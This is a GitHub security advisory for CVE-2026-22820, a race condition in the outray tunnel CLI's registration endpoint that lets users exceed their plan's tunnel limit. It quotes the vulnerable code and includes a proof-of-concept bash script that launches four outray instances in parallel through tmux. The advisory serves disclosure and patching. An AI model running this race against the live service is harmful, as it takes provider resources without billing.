Skip to content

Outray cli is vulnerable to race conditions in tunnels creation

Moderate severity GitHub Reviewed Published Jan 13, 2026 in outray-tunnel/outray • Updated Jan 21, 2026

Package

npm outray (npm)

Affected versions

< 0.1.5

Patched versions

0.1.5

Description

Summary

A TOCTOU race condition vulnerability allows a user to exceed the set number of active tunnels in their subscription plan.

Details

Affected conponent: apps/web/src/routes/api/tunnel/register.ts

  • /tunnel/register endpoint code-:
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;

          console.log(
            `[TUNNEL LIMIT CHECK] Org: ${organizationId}, Tunnel: ${tunnelId}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Is Reconnection: ${isReconnection}`,
          );
          console.log(
            `[TUNNEL LIMIT CHECK] Plan: ${currentPlan}, Limit: ${tunnelLimit}`,
          );

          // Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );

            // The current tunnel is NOT yet in the online_tunnels set (added after successful registration)
            // So we check if activeCount >= limit (not >)
            if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
            }
            console.log(
              `[TUNNEL LIMIT CHECK] ALLOWED - ${activeCount} < ${tunnelLimit}`,
            );
          } else {
            console.log(`[TUNNEL LIMIT CHECK] SKIPPED - Reconnection detected`);
          }

          if (existingTunnel) {
            // Tunnel with this URL already exists, update lastSeenAt
            await db
              .update(tunnels)
              .set({ lastSeenAt: new Date() })
              .where(eq(tunnels.id, existingTunnel.id));

            return json({
              success: true,
              tunnelId: existingTunnel.id,
            });
          }

          // Create new tunnel record
          const tunnelRecord = {
            id: randomUUID(),
            url: tunnelUrl,
            userId,
            organizationId,
            name: name || null,
            protocol,
            remotePort: remotePort || null,
            lastSeenAt: new Date(),
            createdAt: new Date(),
            updatedAt: new Date(),
          };

          await db.insert(tunnels).values(tunnelRecord);

          return json({ success: true, tunnelId: tunnelRecord.id });
        } catch (error) {
          console.error("Tunnel registration error:", error);
          return json({ error: "Internal server error" }, { status: 500 });
        }
  • It checks if the tunnel exists in the database.
// Check if tunnel already exists in database
          const [existingTunnel] = await db
            .select()
            .from(tunnels)
            .where(eq(tunnels.url, tunnelUrl));

          const isReconnection = !!existingTunnel;
  • Limit is checked here-:
// Check limits only for NEW tunnels (not reconnections)

if (!isReconnection) {

// Count active tunnels from Redis SET

const activeCount = await redis.scard(setKey);

console.log(

`[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,

);
  • Redis is checked for existing tunnel to check for reconnection.
// Check limits only for NEW tunnels (not reconnections)
          if (!isReconnection) {
            // Count active tunnels from Redis SET
            const activeCount = await redis.scard(setKey);
            console.log(
              `[TUNNEL LIMIT CHECK] Active count in Redis: ${activeCount}`,
            );
  • If the tunnel limit is exceeded, it pops up the tunnel limit error.
if (activeCount >= tunnelLimit) {
              console.log(
                `[TUNNEL LIMIT CHECK] REJECTED - ${activeCount} >= ${tunnelLimit}`,
              );
              return json(
                {
                  error: `Tunnel limit reached. The ${currentPlan} plan allows ${tunnelLimit} active tunnel${tunnelLimit > 1 ? "s" : ""}.`,
                },
                { status: 403 },
              );
  • If the limit is not exceeded, it triggers a the Insert Statement without locking transactions from other request
await db.insert(tunnels).values(tunnelRecord);
  • If parallel requests are made by the wshandler in /outray/outray-main/apps/tunnel/src/core/WSHandler.ts from the command line app. A request can work on a non updated row because the insert row has not been triggered allowing the user to bypass the limit. It is much explained in the proof of concept. The key takeaway is db transactions should remain locked.

PoC

Using this simple bash script, the outray binary will be run at the same time in one tmux window, demonstrating the race condition and opening 4 tunnels.

#!/usr/bin/env bash

# POC for Outray Tunnel Race condition
SESSION="outray-race"
PORTS=(8090 4000 5000 6000)

# Create new detached tmux session
tmux new-session -d -s "$SESSION" "echo '[*] outray race session started'; bash"

# Split the panes and run outray
for i in "${!PORTS[@]}"; do
  port="${PORTS[$i]}"

  if [ "$i" -ne 0 ]; then
    tmux split-window -t "$SESSION" -h
    tmux select-layout -t "$SESSION" tiled
  fi

  tmux send-keys -t "$SESSION" "echo '[*] Running outray on port $port'; outray $port" C-m
done

tmux set-window-option -t "$SESSION" synchronize-panes off

echo "[+] tmux session '$SESSION' created"
echo "[+] Attach with: tmux attach -t $SESSION"

Running this

seeker@instance-20260106-20011$ bash kay.sh
[+] tmux session 'outray-race' created
[+] Attach with: tmux attach -t outray-race

seeker@instance-20260106-20011$ tmux attach -t outray-race

image

image

Impact

By exploiting this TOCTOU race condition in the affected component, the intended limit is bypassed and server resources is used with no extra billing charges on the user.

References

@akinloluwami akinloluwami published to outray-tunnel/outray Jan 13, 2026
Published to the GitHub Advisory Database Jan 13, 2026
Reviewed Jan 13, 2026
Published by the National Vulnerability Database Jan 14, 2026
Last updated Jan 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(15th percentile)

Weaknesses

Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. Learn more on MITRE.

CVE ID

CVE-2026-22820

GHSA ID

GHSA-3pqc-836w-jgr7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.